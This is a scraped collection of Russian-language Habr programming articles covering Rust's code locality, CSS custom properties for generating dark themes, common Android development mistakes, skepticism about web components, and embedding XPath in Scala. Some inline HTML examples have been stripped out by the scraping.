Без наследования ситуация немного выравнивается. Сначала смотрим на реализацию самой структуры: если метод там, то история на этом заканчивается. Далее смотрим, какие интерфейсы в области видимости, какие из них имеют данный метод, и какие реализованы для вашей структуры. На пересечений этих подмножеств будет один единственный интерфейс, если компилятор не ругается. Сам код будет находиться либо в реализации данного интерфейса структурой, либо в самом его объявлении (реализация по умолчанию).
### Явная реализация обобщений
Отдельно хочется отметить момент, что для удовлетворения определённого интерфейса, его нужно явно указать:
```
impl SomeTrait for MyStruct {...}
```
Делать это можно там, где объявлен интерфейс либо целевая структура, но не в произвольном месте. Привет, Go, где царит магия неявных реализаций. Нет, концепция в Go очень красивая и оригинальная, я не спорю, но вот очевидность происходящего я бы поставил под сомнение.
### Обобщённые ограничения
Шаблоны в С++ — это, как ни странно, элементы мета-программирования. Этакие повзрослевшие макросы, полные по Тьюрингу. Они позволяют сэкономить кучу кода и творить настоящие чудеса (привет, Boost!). Однако, сказать, что конкретно случится в момент подстановки конкретного типа — трудно. Какие требования к подставляемому типу — тоже не сразу понятно.
В Rust (и во многих других языках) вместо шаблонов есть обобщения. Их параметры обязаны предоставлять определённый интерфейс для подстановки, и корректность таких обобщений проверяется достоверно компилятором:
```
// входные параметры должны быть сравнимы друг с другом
pub fn max(v1: T, v2: T) -> T
```
Стоит отметить, что комитет [признаёт важность концепции](http://en.wikipedia.org/wiki/Concepts_%28C%2B%2B%29), так что скоро мы можем увидеть нечто подобное и в С++.
### Неспециальные обобщения
Есть такая классная штука в С++ — специализация шаблонов. Она позволяет гибко переопределять работу общих функций для конкретных типов. Мы можем получить лучшую скорость выполнения или уменьшить количество кода, но у данной возможности есть цена. Вот видите вы шаблон метода, а что он на самом деле делает вы узнаете только, когда проштудируете всю кодовую базу на предмет этих специализаций. В Rust проще: если перед вами обобщённый метод, то его код не надо искать где-то ещё.
Очевидность языка вытекает из *локальности*: всё, что определяет поведение кода, можно найти в непосредственной близости от него. Эти свойства рождают *предсказуемость*: не обязательно писать тесты на каждую функцию и прогонять её в отладчике, чтобы понять, что она делает. Предсказуемость же позволяет легче читать чужой код и находить ошибки (или не допускать их) в своём, что приводит к лучшему *контролю*. Для программиста это всё означает: лёгкость разработки в команде и отладки, уверенность в завтрашнем дне и хороший сон.
Rust — не тёмная магия: он не оживляет мертвецов и не превращает воду в вино. Точно также, он не решает все проблемы нашего ремесла. Однако, он заставляет нас думать и писать код таким образом, что потенциальные проблемы оказываются на поверхности. В каком-то смысле, Rust искривляет реальность программирования, позволяя нам легче передвигаться в ней, как warp-drive. | https://habr.com/ru/post/259299/ | null | ru | null |
# Пользовательские CSS-переменные, инверсия светлоты цветов и создание тёмной темы за 5 минут
Вы, наверное, уже знаете о том, что для хранения сведений об отдельных компонентах цвета можно применять пользовательские CSS-переменные. Это позволяет избавиться от необходимости повторения одних и тех же цветовых координат в стилях, описывающих цветовую тему сайта. Возможно, вы даже знаете о том, что одну и ту же переменную можно использовать для настройки нескольких компонентов цвета.
[](https://habr.com/ru/company/ruvds/blog/551038/)
Например — тона (hue) и насыщенности (saturation) при использовании цветовой модели HSL:
```
:root {
--primary-hs: 250 30%;
}
h1 {
color: hsl(var(--primary-hs) 30%);
}
article {
background: hsl(var(--primary-hs) 90%);
}
article h2 {
background: hsl(var(--primary-hs) 40%);
color: white;
}
```
[Вот](https://codepen.io/leaverou/pen/QWdjpEL) — очень простая страница, спроектированная с использованием этого подхода.
*Пример страницы*
Пользовательские переменные, в отличие от переменных препроцессора, можно даже локально переопределять, используя их, например, для задания [особого акцентного цвета](https://codepen.io/leaverou/pen/rNjOypm) для некоторых блоков:
```
:root {
--primary-hs: 250 30%;
--secondary-hs: 190 40%;
}
article {
background: hsl(var(--primary-hs) 90%);
}
article.alt {
--primary-hs: var(--secondary-hs);
}
```
*Пример страницы, акцентный цвет одного из блоков которой переопределён*
Всё это хорошо, всё это красиво, но лишь до тех пор, пока в игру не вступит тёмная тема. Идея использования пользовательских переменных для упрощения настройки тёмной темы не нова. Но [в](https://alxgbsn.co.uk/2019/02/08/blog-theming-css-variables/) [каждой](https://css-tricks.com/a-complete-guide-to-dark-mode-on-the-web/) [из](https://dev.to/ananyaneogi/create-a-dark-light-mode-switch-with-css-variables-34l8) [встретившихся](https://css-irl.info/quick-and-easy-dark-mode-with-css-custom-properties/) [мне](https://piccalil.li/tutorial/create-a-user-controlled-dark-or-light-mode) [статей](https://www.digitalocean.com/community/tutorials/css-theming-custom-properties), посвящённых этой задаче, предлагается создавать массу пользовательских свойств, по одному для каждого цвета, и переопределять свойства в медиа-запросе.
Это — нормальный подход, и вы, вероятно, тоже будете им пользоваться, по крайней мере — для настройки некоторой части ваших цветов. Правда, даже у самых дисциплинированных дизайнеров не все цвета представлены в виде CSS-переменных. Разработчики сайтов нередко пользуются встроенными определениями цветов, особенно это касается оттенков серого (в нашем примере такой подход использован для настройки цвета «подвала»). Это означает, что оснащение сайта тёмной темой превращается в довольно-таки трудоёмкое дело, которое, вполне возможно, отложат на потом, особенно — если речь идёт о неких второстепенных проектах.
Тот хитрый приём, который я хочу вам показать, может показаться грубоватым любому, кто достаточно много знает о цветах (прости, Крис!), но он, совершенно точно, поможет вам создать рабочую тёмную тему за считанные минуты. Результат нельзя будет назвать идеальным, и то, что получится, в итоге, для создания качественной тёмной темы, надо будет подстроить (и «тёмная тема», кстати, это [не только результат замены одних цветов другими](https://css-tricks.com/a-complete-guide-to-dark-mode-on-the-web/)), но это — лучше чем ничего. То, что получится, может играть роль базы для дальнейшей работы.
Основная идея моего подхода заключается в том, чтобы использовать пользовательские CSS-свойства для хранения сведений о светлоте (lightness) цветов, а не полной информации о цветах. В тёмном режиме эти переменные переопределяются, в них записываются значения, вычисляемые по формуле `100% — lightness`. Это, в целом, позволяет получить светлые цвета из тёмных цветов, цвета средней светлоты из цветов средней светлоты, и тёмные цвета из светлых цветов. При таком подходе вполне можно пользоваться встроенными определениями цветов, необязательно применять переменные при настройке абсолютно всех цветов проекта. Вот как, учитывая вышесказанное, могут выглядеть стили демонстрационного [проекта](https://codepen.io/leaverou/pen/eYgJyav):
```
root {
--primary-hs: 250 30%;
--secondary-hs: 190 40%;
--l-0: 0%;
--l-30: 30%;
--l-40: 40%;
--l-50: 50%;
--l-90: 90%;
--l-100: 100%;
}
@media (prefers-color-scheme: dark) {
:root {
--l-0: 100%;
--l-30: 70%;
--l-40: 60%;
--l-90: 10%;
--l-100: 0%;
}
}
body {
background: hsl(0 0% var(--l-100));
color: hsl(0 0% var(--l-0));
}
h1 {
color: hsl(var(--primary-hs) var(--l-30));
}
article {
background: hsl(var(--primary-hs) var(--l-90));
}
article h2 {
background: hsl(var(--primary-hs) 40%);
color: white;
}
footer {
color: hsl(0 0% var(--l-40));
}
```
Ниже показан вид страницы этого проекта в светлом и тёмном режимах.
*Светлая тема*
*Тёмная тема*
Учитывайте то, что цвета для тёмной темы получены автоматически.
Обратите внимание на то, что мы заменили абсолютно все, без разбора, значения светлоты соответствующими переменными. Но, на самом деле, нет нужды поступать именно так. Например, заголовки статей будут смотреться приятнее и отличаться лучшей контрастностью в том случае, если мы попросту не будем менять их цвет.
*Тёмная тема, при применении которой цвет заголовков статей не изменился*
При создании этого варианта нашей тёмной темы автоматическая настройка цветов использована не для всех без исключения элементов. А именно, тут оставлен цвет фона и цвет текста для `article > h2`.
Подобные решения, касающиеся выбора цветов, легко принимать, просматривая CSS-код, заменяя процентные значения светлоты цветов переменными и оценивая новый внешний вид страницы.
Проблема с цветовой моделью HSL
-------------------------------
Почему заголовки статей легче читать в том случае, когда они, в тёмной теме, выводятся тем же цветом, что и в светлой, а не цветом, светлота которого инвертирована? Главная причина этого кроется в том, что компонент HSL-цвета, отвечающий за светлоту, на самом деле, не имеет отношения к той «светлоте», которую воспринимает человек. В результате одинаковые изменения светлоты могут приводить к очень разным изменениям яркости цветов, воспринимаемой человеком.
Именно это и можно назвать большой проблемой данного подхода: тут предполагается, что HSL-светлота имеет некий реальный смысл, но, и мы уже об этом [говорили](https://habr.com/ru/company/ruvds/blog/496966/), на самом деле, это не так. Жёлтый и синий цвета, имеющие одну и ту же HSL-светлоту (50%), выглядят очень по-разному. Кроме того, анализируя HSL-цвета, можно обратить внимание на то, что тёмные цвета имеют меньшие отличия друг от друга, чем светлые цвета, так как цветовая модель HSL [не является](https://habr.com/ru/company/ruvds/blog/496966/) однородной для восприятия (в отличие от LCH и Lab).
Значит ли это, что предложенная мной методика работы с цветами не подходит ни для чего кроме временных тёмных тем, используемых во время разработки настоящих тёмных тем?
На самом деле — всё не так уж и мрачно.
Довольно скоро мы сможем пользоваться в браузерах [LCH-цветами](https://habr.com/ru/company/ruvds/blog/496966/). Первая браузерная реализация поддержки таких цветов [недавно появилась в Safari](https://webkit.org/blog/11548/release-notes-for-safari-technology-preview-120/#post-11548:~:text=Added%20support%20for%20lab()%2C%20lch()%2C%20and%20color(lab%20...)%20colors), производители других браузеров тоже работают в этом направлении.
Цветовое пространство LCH подходит для реализации моей методики гораздо лучше HSL, так как LCH-светлота — далеко не бессмысленный показатель, это — не просто разные варианты одного и того же цвета, различающиеся по яркости. LCH-светлота имеет отношение и к тону (hue) цвета, и к его цветности (chroma).
Для того чтобы «вживую» посмотреть [этот](https://codepen.io/leaverou/pen/xxgOZQR) пример — вам понадобится Safari TP 120+. Сравните два показанных там градиента. Верхний — это разные HSL-цвета со светлотой 50%, а нижний — это LCH цвета с той же светлотой. В верхней части окна есть слайдер, который позволяет посмотреть градиенты для другой светлоты. Если у вас нет Safari TP 120+ — ниже приведён скриншот примера.
*HSL- и LCH-цвета с одной и той же светлотой*
Обратите внимание на то, что некоторые HSL-цвета (вроде жёлтого и светло-голубого) гораздо светлее других. А вот все LCH-цвета одной светлоты имеют, собственно, одинаковую светлоту.
Тут стоит учитывать то, что компонент Chroma (цветность) модели LCH, на самом деле, не связан напрямую с компонентом Lightness (светлота) модели HSL. Поэтому, даже несмотря на то, что мы устанавливаем их в одинаковые значения, это не приводит к одним и тем же результатам.
Как адаптировать предложенную мной методику создания тёмных тем к работе с LCH-цветами?
Я использовала [этот](https://css.land/lch/) инструмент для преобразования существующих HSL-цветов в LCH-цвета, затем вручную немного подстроила получившиеся значения, так как цвета, после конверсии, не выглядели достаточно хорошо во всех вариантах LCH-светлоты. Обратите внимание на то, что HSL-цвета с одними и теми же тоном и насыщенностью могут иметь различные тон и цветность при их преобразовании к LCH-цветам. Обратное попросту сделало бы использование LCH-цветов бессмысленным!
[Вот](https://codepen.io/leaverou/pen/MWJKqBK) как результаты применения этого приёма выглядят на практике (для просмотра этого примера нужен браузер Safari TP 120 или более новый). Здесь тёмный режим сгенерирован автоматически путём инверсии значения переменной, отвечающей за светлоту LCH-цветов.
*«Светлый» вариант сайта, созданного с применением LCH-цветов*
*«Тёмный» вариант сайта, созданного с применением LCH-цветов*
Теперь не только тёмная тема сайта выглядит лучше. Даже его светлый вариант смотрится приятнее. В частности, два цвета, применяемые при стилизации похожих элементов, выглядят более близкими друг к другу из-за того, что имеют одну и ту же LCH-светлоту.
*Слева — тёмная тема, основанная на модификации HSL-цветов, справа — тёмная тема, при создании которой использованы LCH-цвета*
А ниже приведено анимированное сравнение этих двух тем.
[lea.verou.me/wp-content/uploads/2021/03/hsl-dm.png](https://lea.verou.me/wp-content/uploads/2021/03/hsl-dm.png)
*Анимированное сравнение тёмных тем*
Обратите внимание на то, что в реальных проектах, до тех пор, пока LCH-цвета не будут как следует поддерживаться во всех браузерах, при использовании этих цветов нужно предусматривать запасной план действий с применением `@supports`. Но тут, для краткости, я не включила в пример соответствующий код.
Автоматизация генерирования переменных, хранящих сведения о светлоте цветов
---------------------------------------------------------------------------
Если вы пользуетесь препроцессором, который поддерживает циклы, например — Sass, это значит, что вы можете автоматизировать генерирование переменных, хранящих сведения о светлоте цветов. При таком подходе легко создать набор переменных, хранящих значения светлоты, изменяющиеся с небольшим шагом, например — 5%:
```
:root {
@for $i from 0 through 20 {
--l-#{$i * 5}: #{$i * 5}%;
}
}
@media (prefers-color-scheme: dark) {
:root {
@for $i from 0 through 20 {
--l-#{$i * 5}: #{100 - $i * 5}%;
}
}
}
```
Можно ли сделать работу с переменными, хранящими сведения о светлоте, лучше соответствующей принципу DRY?
---------------------------------------------------------------------------------------------------------
Кому-то из вас может не понравиться повторение значений. Например, нам нужно объявить переменную `--l-40` и, для использования в светлом режиме, записать в неё 40%, а потом, при переходе в тёмный режим, в неё нужно записать 60%. Можно ли как-то получить это значение, просто вычитая уже имеющееся у нас значение из 100%?
Тот, у кого есть опыт в программировании, может попробовать нечто вроде этого:
```
--l-40: calc(100% - var(--l-40));
```
Но работать эта конструкция не будет. CSS — это не императивный язык программирования. Тут нет неких этапов вычислений, не выполняются какие-то шаги, когда переменные имеют разные значения до и после выполнения такого шага. Здесь нет концепции времени — все имеющиеся объявления вступают в силу одновременно. Работа CSS больше похожа на реактивное вычисление значений ячеек электронной таблицы с формулами, чем на вычисления, которые выполняют в JavaScript и в других языках программирования (есть универсальные [реактивные языки](https://en.wikipedia.org/wiki/Reactive_programming) программирования, но они не особенно широко известны). В результате объявления, похожие на то, которое показано выше, считаются циклическими: переменная `--l-40` не может ссылаться сама на себя — поэтому возникает ошибка. При исправлении этой ошибки в дело вступает [механизм](https://drafts.csswg.org/css-variables/#cycles), который устанавливает переменную `--l-40` в её исходное значение (это происходит из-за того, что CSS не выбрасывает ошибок).
Итак, есть ли способ избежать двойного объявления переменных для хранения сведений о светлоте цвета, то есть — одной переменной для светлой темы, а второй — для тёмной?
Такой способ есть, но я не рекомендовала бы пользоваться им. Он ухудшает читабельность и понятность кода, не давая при этом особых преимуществ. Но, ради того, чтобы немного поупражняться в интеллектуальных задачах, я опишут тут этот метод.
Вместо того, чтобы записывать в `--l-40` значение 40%, мы запишем в эту переменную значение, выражающее отличие необходимого нам значения от 50%. То есть — `-10%`. В результате конструкция `calc(50% + var(--l-40))` даст нам 40%, а конструкция `calc(50% — var(--l-40))` даст 60%. Это — именно те значения, которые нам и нужны. А значит — мы можем объявить единственную переменную, которая равняется `-1` в тёмном режиме и `1` в светлом. Потом мы просто будем умножать соответствующие значения на эту переменную.
Вот фрагмент кода, созданного с учётом вышеприведённых рассуждений:
```
:root {
--dm: 1;
/* Пример объявления переменной: */
--l-40: -10%;
}
@media (prefers-color-scheme: dark) {
:root {
--dm: -1;
}
}
/* Пример использования имеющихся переменных: */
footer {
color: hsl(0 0% calc(50% + var(--dm) * var(--l-40));
/* Некрасиво! */
}
```
Надеюсь, теперь вам понятна причина, по которой я не рекомендовала бы пользоваться этим приёмом. Он сильно усложняет работу, а взамен мы получаем небольшое приближение к идеалам DRY за счёт избавления от нескольких переменных. Это — пример навязчивого стремления к DRY, которое программисты, в конце концов, [признают](https://lea.verou.me/2020/09/developer-priorities-throughout-their-career/) вредящим продуктивности их работы.
Как вы создаёте светлые и тёмные темы для своих проектов?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=polzovatelskycss) | https://habr.com/ru/post/551038/ | null | ru | null |
# 8 распространенных ошибок при разработке Android-приложений
### 1. Все должно быть на своем месте (строки, цвета)
Экосистема Android стремительно растет по всему миру и распространяется на различные группы людей. Люди из разных слоев общества, люди с ограниченными возможностями, пользователи, которые просто хотят иметь новомодные фичи, такие как ночной режим (темная тема), начинают использовать приложения Android в своей повседневной жизни.
Разработка приложений для широкого потребителя/diverse community — непростая задача. Я говорю здесь не об архитектурах высокого уровня. Напротив, речь идет о простых вещах: строки, цвета, размеры и т. д., которые все же имеют сильное влияние на современную Android-разработку.
Обычно для комфортного пользования приложением люди выбирают свой родной язык. Ключевая практика здесь — хранить все строки в одном файле (обычно strings.xml), чтобы можно было быстро добавить разные строковые файлы на разных языках.
Это же применимо и к параметрам: цвет, размер, стиль, — и если вы решите обеспечить поддержку приложением темной темы или добавить настройку лейаутов для работы на планшете, так это будет сделать проще. Короче говоря: собирайте весь такой код в одном месте, чтобы его можно было повторно использовать и легко изменять и заменять, вместо того чтобы хардкодить значения по всему проекту.
### 2. Неиспользование фрагментов
На заре Android-разработки рекомендовалось использовать отдельные активити для каждого экрана. Вследствии этого через какое-то время разработчики столкнулись с разного рода проблемами. Также, тот случай, когда активити является точкой входа в приложение, оказался уязвимостью.
Если у вас был опыт работы Android-разработчиком, то вы знаете, что пару лет назад, когда фрагменты (Fragments API) еще не были настолько развиты, использование активити было оправданно.
Перенесемся в 2020 год. Команда Android рекомендует использовать фрагменты в проектировании каждого экрана и поддерживать одно или несколько активити на все приложение для хостинга фрагментов. Это хорошо известно нам как Single Activity Architecture.
Использование этой архитектуры значительно сокращает количество внешних взаимодействий с приложением. Новый [Jetpack navigation component](https://medium.com/better-programming/jitpack-navigation-component-in-android-944165c35f54) главным образом основан на Single Activity Architecture. API Fragments значительно упростит вашу жизнь. Возможно, через пару лет Android-разработка совсем уйдет от активити к фрагментам.
### 3. Неиспользование Data Binding или View Binding
Среда разработки Android с самого начала базировалась на трех типах файлов: XML, Kotlin и Java. Файлы XML содержат все, что связано с дизайном, а файлы Kotlin/Java включают все остальное.
Рано или поздно встает необходимость связать пользовательский интерфейс (UI) и бизнес-логику, и именно здесь data binding (привязка данных) и view binding (привязка представления) играют ключевую роль. Связь между пользовательским интерфейсом и бизнес-логикой изначально осуществлялась через печально известную функцию [findviewbyid](https://medium.com/better-programming/the-evolution-of-view-linking-in-android-d6219678740d).
Для решения этой проблемы рекомендуется использовать [view binding](https://medium.com/better-programming/everything-you-should-know-about-viewbinding-in-android-52552af9e8ba) и data binding. Основная цель view binding’а — решить проблему связывания с типом и null safety в рантайме.
[Data binding](https://medium.com/@sgkantamani/data-binding-in-android-4ff7bba93a2c) необходим скорее для всеобщего блага. Оно позволяет связывать компоненты пользовательского интерфейса в лейаутах с источниками данных, используя декларативный формат, а не программным путем.
### 4. Неиспользование Kotlin и корутин
Прошло несколько лет с тех пор, как [Kotlin](https://medium.com/better-programming/advanced-android-programming-with-kotlin-5e40b1be22bb), с подачи Google, стал рекомендуемым языком для разработки Android приложений. Это было очень серьезное трансформационное решение: Kotlin разобрался со всеми болевыми точками в Java и смог облегчить работу разработчиков.
Использование Kotlin в разработке Android-приложений открыло новые возможности благодаря таким фичам, как [расширения](https://medium.com/better-programming/advanced-android-programming-with-kotlin-5e40b1be22bb), функции области видимости (scoped functions), классы данных, ключевое слово `object`, `null safety` и т. д. Помимо Android-разработки, с помощью Kotlin вы также можете осуществлять мультиплатформенную и серверную разработку.
Асинхронное программирование играет ключевую роль в разработке мобильных приложений. На ранних этапах мы использовали `AsyncTask`. Со временем появилась RxJava, что принесло много изменений. Но RxJava имеет очень крутую кривую обучения и совершенно другой подход к коллбекам.
После появились [корутины](https://medium.com/better-programming/kotlin-coroutines-from-basics-to-advanced-ad3eb1421006) (coroutines) — решение Kotlin для асинхронного программирования с простым подходом. В наши дни корутины стали стандартным решением для реализации асинхронных задач. Мощные фичи и простая реализация делают их более адаптируемыми.
Kotlin делает вашу разработку простой и лаконичной, тогда как корутины позволяют выполнять асинхронные задачи последовательно без необходимости изучать что-либо новое. Использование корутин в ваших разработках приводит только к более продуктивным и эффективным результатам.
### 5. Ошибки проектирования
#### Недостаточное использование ConstraintLayout
[ConstraintLayout](https://medium.com/android-dev-hacks/exploring-constraint-layout-in-jetpack-compose-67b82123c28b) содержит множество удобных функций, таких как `guidelines`, `Barriers`, `Group`, `aspect ratio`, `flow`, `Layer` и многое другое. Благодаря всем этим функциям `ConstraintLayout` может отрисовать практически каждый экран (от простых до сложных вариантов использования).
`ConstraintLayout` отличается от `Relative` и `Linear` лейаутов. Поэтому не стоит использовать его так же. Мы можем создавать плоский лейаут без иерархии вложенности, что позволяет рисовать меньшее количество слоев.
#### Чрезмерное использование ConstraintLayout
Мощные функции сопряжены с риском злоупотребления ими. Использовать `ConstraintLayout` в пользовательском интерфейсе, когда можно обойтись `FrameLayout` или `LinearLayout`, — нелепое решение.
#### Страх перед MotionLayout
`ConstraintLayout` — правильный выбор при разработке сложных сценариев, но не для реализации анимации и переходов, где эффективным решением будет использовать MotionLayout.
`MotionLayout` — это подкласс `ConstraintLayout`, который включает в себя все его прекрасные фичи, и он полностью декларативен с возможностью реализации сложных переходов в XML. `MotionLayout` обратно совместим с API 14 уровня, что подразумевает 99% охват сценариев использования.
Новый редактор `MotionLayout` в Android Studio 4.0 облегчает работу с `MotionLayout`. Он предоставляет отличную среду для реализации переходов, `MotionScenes` и т.д.
`MotionLayout` — это не сложные вычисления и алгоритмы, а простой декларативный подход к реализации анимации и переходов с помощью нового модного редактора в Android Studio.
### 6. Пробелы в системе безопасности
#### Хранение конфиденциальных данных
Хранение конфиденциальных данных в общих настройках (shared preference) Android, базе данных или локальной области хранения — это риск, так как их легко взломать. Многие разработчики не знают об этом и используют общие настройки для хранения конфиденциальных данных пользователя.
Эту проблему можно решить с помощью новой библиотеки [datastore](https://medium.com/better-programming/jetpack-datastore-improved-data-storage-system-adec129b6e48) или библиотеки [Encrypted preference](https://medium.com/android-dev-hacks/securing-sensitive-data-in-android-e261687ab66e) или путем самостоятельной реализации шифрования.
#### Секьюрная связь
Многие Android-разработчики полагают, что использование HTTPS обеспечивает безопасное взаимодействие с серверами. Но это не так. Многие хакеры вмешиваются в обмен данными между серверами и клиентами. Это называется [атакой посредника](https://medium.com/better-programming/secure-communication-with-the-server-from-your-android-client-with-certificate-pinning-5f53cea55972) (middle man attack).
Для создания безопасной линии с сервером, нам необходимо реализовать [закрепление сертификата](https://medium.com/better-programming/secure-communication-with-the-server-from-your-android-client-with-certificate-pinning-5f53cea55972).
### 7. Недостаточная осведомленность о возможностях Android Studio
Неважно, насколько мощным является оружие, если вы не умеете правильно им пользоваться. Нам, разработчикам, повезло, что у нас есть такой мощный инструмент, как Android Studio, и хорошо бы знать, как использовать его эффективно.
В Android Studio есть много скрытых фич, как, например: удобные [ярлыки](https://medium.com/android-dev-hacks/android-studio-tips-tricks-for-beginners-703bc9a36259), [живые шаблоны, шаблоны файлов](https://medium.com/@sgkantamani/constraint-layout-with-live-templates-do-less-finish-more-b62397725835), готовые структуры проекта, плагины для генерации кода, [кастомизация](https://medium.com/better-programming/customize-the-logcat-in-android-studio-8f58d39222ef) и многое другое. Для более эффективной работы есть также такие фичи, как [инспектор базы данных](https://medium.com/better-programming/exploring-the-database-inspector-in-android-studio-de0026024895), [лейаут инспектор](https://medium.com/better-programming/explore-the-new-layout-inspector-in-android-studio-4-0-6f9ffb1505f2), профилировщик.
Android Studio также предоставляет инструментальную поддержку нескольких библиотек, таких как редактор навигации для просмотра графа навигации приложения и редактора движения для реализации анимаций и переходов красивым образом.
### 8. Отказ от использования библиотек Jetpack
> *«Jetpack - это набор библиотек, который помогает разработчикам не отставать от лучших практик, сокращать шаблонный код и писать код, который работает согласованно на всех устройствах и версиях Android, чтобы разработчики могли сосредоточиться на коде, который им важен. ”* —[*Android Jetpack*](https://developer.android.com/jetpack?hl=fr)
>
>
Библиотеки Jetpack охватывают крупные фичи, такие как [paging3](https://medium.com/android-dev-hacks/exploring-paging3-part-1-653dc537a69a) для пагинации, [Room](https://medium.com/better-programming/how-to-use-the-room-persistence-library-with-kotlin-flow-c73f461a0819) для локальной базы данных, [WorkManager](https://medium.com/swlh/workmanager-basics-how-to-use-workmanager-with-rxjava2-kotlin-coroutines-c2a317197038) для продолжительно работающих фоновых задач, [DataStore](https://medium.com/better-programming/jetpack-datastore-improved-data-storage-system-adec129b6e48) для улучшенного хранения данных, [Hilt](https://medium.com/better-programming/hilt-a-new-dependency-injection-library-for-android-e6e00e719aeb) для DI, [navigation component](https://medium.com/better-programming/jitpack-navigation-component-in-android-944165c35f54) для навигации в UI приложения, [App Startup](https://medium.com/better-programming/app-startup-new-architecture-component-d115b062a701) для сокращения времени запуска приложения и многое другое.
Все эти библиотеки созданы с учетом производительности и простоты использования для реализации сложных задач с меньшим количеством кода.
На этом все. Надеюсь, что эта статья оказалась для вас полезной. Спасибо за внимание!
---
> Материал подготовлен в рамках специализации [**«Android Developer»**](https://otus.pw/9hILY/).
>
> | https://habr.com/ru/post/578562/ | null | ru | null |
# Почему я не использую веб-компоненты
Я пишу это в основном для себя в будущем, чтобы у меня было куда сослаться, когда кто-нибудь спросит меня, почему я скептичен в отношении веб-компонентов и почему [Svelte](https://svelte.dev/) не компилируется в веб-компоненты по умолчанию. (Тем не менее, он может компилироваться в веб-компоненты, а так же интегрироваться с ними, что подтверждается превосходной оценкой на [Custom Elements Everywhere](https://custom-elements-everywhere.com/)).
Ничто из написанного ниже не должно восприниматься как критика тяжелого труда, проделанного над веб-компонентами. Возможно, я также допустил ошибки в этой публикации, в этом случае я с удовольствием внесу поправки. Также я не заявляю, что вы не должны пользоваться веб-компонентами. У них есть своя область применения. Я же просто объясняю, почему они не подходят для меня.
1. Прогрессивное улучшение
--------------------------
Это может быть старомодным убеждением, но я считаю, что веб-сайты должны работать без JavaScript насколько это возможно. Веб-компоненты без JS не работают. Это нормально для вещей, которые по своей природе интерактивные, такие как кастомные элементы форм (), но это ненормально для навигации сайта, например. Или представьте себе компонент , который инкапсулирует в себе логику построения URL для [отправки в Twitter](https://developer.twitter.com/en/docs/twitter-for-websites/tweet-button/guides/web-intent.html). Я мог бы [реализовать его на Svelte](https://svelte.dev/repl/98aa20d4cb3d40dabfef7d8dae183b85?version=3.5.2), что отрендерит на сервере мне вот такой HTML:
```
[Tweet this](...)
```
Другими словами, обычный во всем его доступном великолепии.
При включенном JavaScript происходит прогрессивное улучшение – вместо открытия нового таба, открывается маленькое всплывающее окно. Но и без JS, компонент все еще работает нормально.
В случае веб-компонента HTML выглядел бы как-то так:
… что бесполезно и не пригодно для использования, если JS заблокирован, или почему-то сломался, или у пользователя старый браузер.
Кроме того, `class="svelte-1jnfxx"` предоставляет нам инкапсуляцию стилей без Shadow DOM. Что приводит нас к следующему пункту.
2. CSS в, эээ… JS
-----------------
Если вы хотите использовать Shadow DOM для инкапсуляции стилей, то вам понадобится вставить свой CSS в тэг | https://habr.com/ru/post/457010/ | null | ru | null |
# Язык в языке или встраиваем XPath в Scala
Scala — великолепный язык. В него можно влюбиться. Код может быть лаконичным, но понятным; гибким, но строго типизированным. Продуманные до мелочей инструменты позволяют не бороться с языком, а выражать на нем свои идеи.
Но эти же инструменты позволяют писать крайне сложный код.
Использование интеллектуальной эквилибристики в стиле scalaz или вычислений на системе типов в духе shapeless — гарантия того, что ваш код поймут единицы.
В этой статье я расскажу о том, чего делать, скорее всего, не стоит.
Я расскажу как встроить в scala другой язык.
И хотя встраивать мы с вами будем XPath, но описываемый способ подходит для любого языка, для которого вы сможете построить синтаксическое дерево.
#### Причины
В scala есть возможность использовать все инструменты для работы с xml, что есть в Java (а их не мало). Но и код будет напоминать стары добрый Java-код. Не слишком радостная перспектива.
Есть собственный xml, встроенный в синтаксис языка:
```
scala>
|
| text
|
res0: scala.xml.Elem =
text
scala> res0 \\ "node"
res1: scala.xml.NodeSeq = NodeSeq(, text)
scala> res1 \\ "@attr"
res2: scala.xml.NodeSeq = NodeSeq(aaa, 111)
```
Кажется, что вот оно счастье, но нет. Это лишь отдаленно напоминает XPath. Хоть немного сложные запросы становятся громоздкими и не читаемыми.
Но после некоторого знакомства со scala становится понятно, что создатели не голословно называют scala расширяемым (scalable) языком. И если чего-то не хватает, то это можно добавить.
Задачей я себе поставил максимальную приближенность к XPath с удобной интеграцией в язык.
#### Результат
Все наработки здесь: <https://github.com/senia-psm/scala-xpath.git>
**Как посмотреть.**Если у вас еще нет git и sbt, то их придется установить ([git](http://git-scm.com/downloads), [sbt](http://www.scala-sbt.org/release/docs/Getting-Started/Setup.html)) и, при необходимости, настроит прокси ([git](http://stackoverflow.com/a/3406766/406435), [sbt](http://stackoverflow.com/questions/13803459/how-to-use-sbt-from-behind-a-proxy) — в Program Files (x86)\SBT\ есть специальный txt для подобных опций).
Клонируйте репозиторий:
```
git clone https://github.com/senia-psm/scala-xpath.git
```
Переходите в папку с репозиторием (scala-xpath) и открывайте REPL в проекте:
```
sbt console
```
Так же во многих примерах предполагается, что выполнены следующие импорты:
```
import senia.scala_xpath.macros._, senia.scala_xpath.model._
```
#### Что и как
Способ достижения цели однозначно определяется самой целью.
Встроить XPath в виде DSL, очевидно, не получится. Иначе это будет уже не совсем XPath. XPath выражение в scala можно поместить только в виде строки.
А значит:
1. [Parser combinators](http://www.artima.com/pins1ed/combinator-parsing.html). Нам придется строку распарсить для валидации.
2. [String interpolation](http://docs.scala-lang.org/overviews/core/string-interpolation.html). Для встраивания переменных и функций в XPath.
3. [Macros](http://docs.scala-lang.org/overviews/macros/overview.html). Для проверки на этапе компиляции.
#### Подготавливаем объектную модель.
Берем [спецификацию](http://www.w3.org/TR/xpath/) XPath 1.0 и [переписываем](https://github.com/senia-psm/scala-xpath/blob/de4e36c19fa1584b82267aebaa44c970481b7290/model/src/main/scala/senia.scala_xpath.model/Model.scala) ее на scala.
Почти вся логика выражена через систему типов и механизм наследования scala. Исключения — в паре мест ограничения через require.
Здесь стоит отметить ключевое слово «sealed», запрещающее наследовать класс (или реализовывать интерфейс) вне данного файла. В частности при сопоставлении с образцом «sealed» позволяет компилятору проконтролировать, что учтены все возможные варианты.
#### Парсим XPath
**Введение в парсеры**[Парсеры](http://www.scala-lang.org/api/current/index.html#scala.util.parsing.combinator.Parsers) представляют из себя функции, принимающие последовательность элементов и возвращающие в случае успеха результат обработки и оставшуюся часть последовательности.
Не успешные же результаты бывают двух видов «неудача» (Failure) и «ошибка» (Error).
Образно говоря парсер откусывает часть последовательности с начала и преобразовывает откушенное в объект определенного типа.
